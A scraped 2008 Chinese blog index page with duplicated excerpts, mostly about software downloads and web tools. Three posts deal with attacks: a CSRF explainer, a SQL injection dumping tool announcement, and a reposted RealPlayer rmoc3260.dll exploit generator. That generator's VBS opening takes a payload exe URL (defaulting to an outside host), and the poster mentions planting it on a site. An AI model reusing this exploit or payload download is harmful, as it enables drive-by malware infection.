OpenID 是一个在网络上对用户进行验证的分散式框架，OpenID 方便用户使用同一套身份帐户登陆不同的网站，到底有哪些网站采用了它作为验证数据库呢？
以下是关于 OpenID 的各种资源介绍。
如何获得一个 OpenID
主流网站:
很多人可能并没意识到自己已经拥有一个 OpenID，一些主流网站已经是 OpenID 的提供者，如果你在以下网站拥有帐户，说明你已经拥有一个 OpenID
AOL - openid.aol.com/screenname
...
随心的海
落幕不是离开，而是重头再来。
2008年4月4日
TVUPlayer v2.3.6 Beta 1 多国语言版
免费的P2P网络电视软件TVU Player。电视频道在程序的左边会列出。
只要双击频道名字就可以观看该频道节目。刚开始会有短暂的延时然后出现画面，画面要经过极短暂的调整后就会播放稳定高质的影像。双击左边的频道列表中的频道来切换电视频道。用右底部的音量滑动条来控制音量。
NEW FEATURES:
- New broadcast language menu (top right) - pick a language and only channels in that language will show up
只要双击频道名字就可以观看该频道节目。刚开始会有短暂的延时然后出现画面，画面要经过极短暂的调整后就会播放稳定高质的影像。双击左边的频道列表中的频道来切换电视频道。用右底部的音量滑动条来控制音量。NEW FEATURES:
- New broadcast language menu (top right) - pick a language and only channels in that language will show up
Tags: 网络电视 下载 媒体工具
发布:kcoffee | 分类:工具收集 | 评论:0 | 引用:0 | 浏览:
2008年4月3日
CSRF——攻击与防御
author: lake2
0x01 什么是CSRF攻击
CSRF是Cross Site Request Forgery的缩写（也缩写为XSRF），直译过来就是跨站请求伪造的意思，也就是在用户会话下对某个CGI做一些GET/POST的事情——这些事情用户未必知道和愿意做，你可以把它想做HTTP会话劫持。
网站是通过cookie来识别用户的，当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie，只要不关闭浏览器或者退出登录，以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url，可能就会执行一些用户不想做的功能（比如修改个人资料）。因为这个不是用户真正想发出的请求，这就是所谓的请求伪造；呵呵，因为这些请求也是可以从第三方网站提交的，所以前缀跨站二字。
...
0x01 什么是CSRF攻击
CSRF是Cross Site Request Forgery的缩写（也缩写为XSRF），直译过来就是跨站请求伪造的意思，也就是在用户会话下对某个CGI做一些GET/POST的事情——这些事情用户未必知道和愿意做，你可以把它想做HTTP会话劫持。
网站是通过cookie来识别用户的，当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie，只要不关闭浏览器或者退出登录，以后访问这个网站会带上这个cookie。如果这期间浏览器被人控制着请求了这个网站的url，可能就会执行一些用户不想做的功能（比如修改个人资料）。因为这个不是用户真正想发出的请求，这就是所谓的请求伪造；呵呵，因为这些请求也是可以从第三方网站提交的，所以前缀跨站二字。
...
Tags: 安全 黑客
发布:kcoffee | 分类:学习资料 | 评论:0 | 引用:0 | 浏览:
2008年4月3日
php+mysql 5 sql injection 暴取工具beta版
文章作者：mika
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
mysql出来5版本以后，注入漏洞要比以前更容易利用了，也可以像mssql那样直接暴取了（甚至比mssql更容易了，因为mssql暴取是需要错误提示开启的，如果错误提示关闭的话，是需要暴力猜解的，而mysql的只要你找准注入点只要可以union出任何一个字段能在页面显示出来就可以了）。自从读了flyh4t的文章《Mysql5注射技巧总结》就一直想测试一下，结果我发现很多的站都更新到了这个版本，于是测试得不易乐呼~~~ 为了节省力气，自然是运用了自己所学的知识写个简单的工具自动暴取，比起手工来要省事多了。觉得会有许多朋友需要这样的工具，我虽然在网上找过包括最新的 pangolin，但是测试结果都不尽如人意。还是自己写的用起来顺手。其实代码没什么技术，但是本着共享的精神，算是提供个工具给大家吧，大家不要笑我哦
工具是php写的（因为俺觉得就这个写起来方便），代码如下：
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）
mysql出来5版本以后，注入漏洞要比以前更容易利用了，也可以像mssql那样直接暴取了（甚至比mssql更容易了，因为mssql暴取是需要错误提示开启的，如果错误提示关闭的话，是需要暴力猜解的，而mysql的只要你找准注入点只要可以union出任何一个字段能在页面显示出来就可以了）。自从读了flyh4t的文章《Mysql5注射技巧总结》就一直想测试一下，结果我发现很多的站都更新到了这个版本，于是测试得不易乐呼~~~ 为了节省力气，自然是运用了自己所学的知识写个简单的工具自动暴取，比起手工来要省事多了。觉得会有许多朋友需要这样的工具，我虽然在网上找过包括最新的 pangolin，但是测试结果都不尽如人意。还是自己写的用起来顺手。其实代码没什么技术，但是本着共享的精神，算是提供个工具给大家吧，大家不要笑我哦
工具是php写的（因为俺觉得就这个写起来方便），代码如下：
Tags: 安全 黑客
发布:kcoffee | 分类:工具收集 | 评论:0 | 引用:0 | 浏览:
2008年4月3日
Real Player rmoc3260.dll Exp (老C给的，据说好用)
来自：neeao
By:009
milw0rm上的，生成器
lcx给的，稍微改了改代码，据说好用
未测试，最近忙到自杀的时间都没有
唉，可惜有马时候没洞，有洞时候没马，要不就找个站挂上了。
http://www.blogjava.net/Files/baicker/Real_Player_rmoc3260_exp.rar
以下来源：lcx
[CODE]'以下代码保存成vbs，双击即可
On Error Resume Next
Exeurl = InputBox( "请输入exe的地址：", "输入", "http://www.haiyangtop.net/333.exe" )
...
By:009
milw0rm上的，生成器
lcx给的，稍微改了改代码，据说好用
未测试，最近忙到自杀的时间都没有
唉，可惜有马时候没洞，有洞时候没马，要不就找个站挂上了。
http://www.blogjava.net/Files/baicker/Real_Player_rmoc3260_exp.rar
以下来源：lcx
[CODE]'以下代码保存成vbs，双击即可
On Error Resume Next
Exeurl = InputBox( "请输入exe的地址：", "输入", "http://www.haiyangtop.net/333.exe" )
...
Tags: 安全 黑客 下载
发布:kcoffee | 分类:工具收集 | 评论:0 | 引用:0 | 浏览:
2008年4月3日
图片批量水印添加工具 V1.0.1 简体中文版
这是一个可以对选中的图片文件添加水印的小程序，操作非常简单，但功能还是比较强大的，批量处理图片的速度也非常快，主要特色为：可以使用本地计算机中安装的字体设置文字水印字体，具备强大的字体特效处理功能，具体性能需要用了才能体会。
对于水印位置，程序内置了七个基本位置：顶部居左,顶部居中,顶部居右,底部居左,底部居中,底部居右,图片中央, 还有一个是自定义位置，使用自定义位置时可为程序指定水印所处的坐标，可将水印添加到图片的任意位置。
程序可支持文字型水印和图片型水印的添加，使用图片水印时需要删除文字水印内容，并选择好作为水印的图片。
...
对于水印位置，程序内置了七个基本位置：顶部居左,顶部居中,顶部居右,底部居左,底部居中,底部居右,图片中央, 还有一个是自定义位置，使用自定义位置时可为程序指定水印所处的坐标，可将水印添加到图片的任意位置。
程序可支持文字型水印和图片型水印的添加，使用图片水印时需要删除文字水印内容，并选择好作为水印的图片。
...
Tags: 图片工具 下载
发布:kcoffee | 分类:工具收集 | 评论:0 | 引用:0 | 浏览:
2008年4月3日
AVG Anti-Malware v7.5.0.519
保护: e-mail和档案伺服器-防毒,防间谍程式; MS SharePoint伺服器-防毒;个人电脑-防毒,防间谍程式和防火墙适用平台: Windows 98*/Me*/NT*/2000/XP( 32/64-bit)和NT*/2000/2003/2003x64伺服器/MS Exchange 5.x/MS Exchange 2000/2003/2007/Lotus Domino (MS Windows)/Kerio Mail伺服器5/6 MS Office SharePoint Portal伺服器2003/2007.
...
...
Tags: AVG 安全 杀毒 下载
发布:kcoffee | 分类:工具收集 | 评论:0 | 引用:0 | 浏览:
2008年4月2日
瑞星升级宝宝 For 瑞星2008 v1.20 加强版
1.本程序的推出是为了抵制 假保姆 ,对于假保姆的行为,本人不想做太多评论.
.本程序只能升级瑞星2008病毒库,所有数据与官方同步
3.瑞星2008现在可以免费用,不建议使用本程序升级,建议大家用免费版先
同时也请制作假保姆的站长自重,请为你的程序换个名字,你的行为是在饮鸠止渴,你这样不会得到任何东西,反而会让人唾骂,奉劝你一句,老老实实做人,踏踏实实做站好自为之吧
为方便区别,这里给出假保姆的界面及图标,此程序会修改您的收藏夹和IE首页,升级的数据也并非来自瑞星官方,请小心使用
"瑞星升级保姆 For 瑞星2007 v2.30j"参见：
.本程序只能升级瑞星2008病毒库,所有数据与官方同步
3.瑞星2008现在可以免费用,不建议使用本程序升级,建议大家用免费版先
同时也请制作假保姆的站长自重,请为你的程序换个名字,你的行为是在饮鸠止渴,你这样不会得到任何东西,反而会让人唾骂,奉劝你一句,老老实实做人,踏踏实实做站好自为之吧
为方便区别,这里给出假保姆的界面及图标,此程序会修改您的收藏夹和IE首页,升级的数据也并非来自瑞星官方,请小心使用
"瑞星升级保姆 For 瑞星2007 v2.30j"参见：
Tags: 安全 杀毒 瑞星 下载
发布:kcoffee | 分类:工具收集 | 评论:0 | 引用:0 | 浏览:
2008年4月2日
在线网页编辑器TypeRoom开放
TypeRoom是一个简单易用的在线网页编辑工具，网谈之前有过相应的介绍。在经过一段时间的内测后，TypeRoom终于开放了其Lite版，而专业版还在开发阶段中。
TypeRoom最主要的特色在于提供了一个 WYSIWIG 编辑工具，并且它还可以复制其它网站的页面，只需输入相应的网址，它就会把整个页面复制过来，这样你就可以在此页面基础上进行编辑，省去了很多设计的过程。
TypeRoom最主要的特色在于提供了一个 WYSIWIG 编辑工具，并且它还可以复制其它网站的页面，只需输入相应的网址，它就会把整个页面复制过来，这样你就可以在此页面基础上进行编辑，省去了很多设计的过程。
Tags: 网页制作 资源
发布:kcoffee | 分类:资源收集 | 评论:0 | 引用:0 | 浏览:
2008年4月2日
CatchVideo：在线转换并下载YouTube视频
CatchVideo是一款专门用于转换并下载来自于Youtube视频的在线工具，它可以把视频转换成.mpeg、.3gp、.mov、.mp3、.mp4等多种格式。其实像这样的服务网络上多如牛毛，在此介绍它的原因在于，该服务相对比较稳定，经过多次测试后发现都能够顺利转换，也可以成功下载，虽然下载速度可能有些慢。
Tags: 媒体工具 媒体资源
发布:kcoffee | 分类:资源收集 | 评论:0 | 引用:0 | 浏览:
天气预报
广告支持
最近留言
最新评论及回复
最近引用
悬赏
关于这里
- 我想说的很多，但是又不知道从哪说起，我开博到现在。这是第三次从新来过，这次本来想尽可能的保留数据的，但是弄了半天会员数据总是出问题，而且弄得新系统很不稳定，所以最终咬牙决定，从新开始。旧BLOG保留！
推介
Search
网页翻译
文章归档
- 2008 April (15)
- 2008 March (164)
- 2008 February (161)
- 2008 January (128)
- 2007 December (110)
- 2007 November (105)
- 2007 October (110)
- 2007 September (96)
- 2007 August (203)
- 2007 July (248)
- 2007 June (210)
- 2007 May (195)
- 2007 April (202)
- 2007 March (196)
- 2007 February (187)
- 2007 January (286)
- 2006 December (405)
- 2006 November (263)
- 2006 October (105)
- 2006 September (29)
- 2006 August (42)
- 2006 July (35)
- 2006 June (105)
- 2006 May (254)
- 2006 April (138)
- 2006 March (54)
- 2006 February (110)
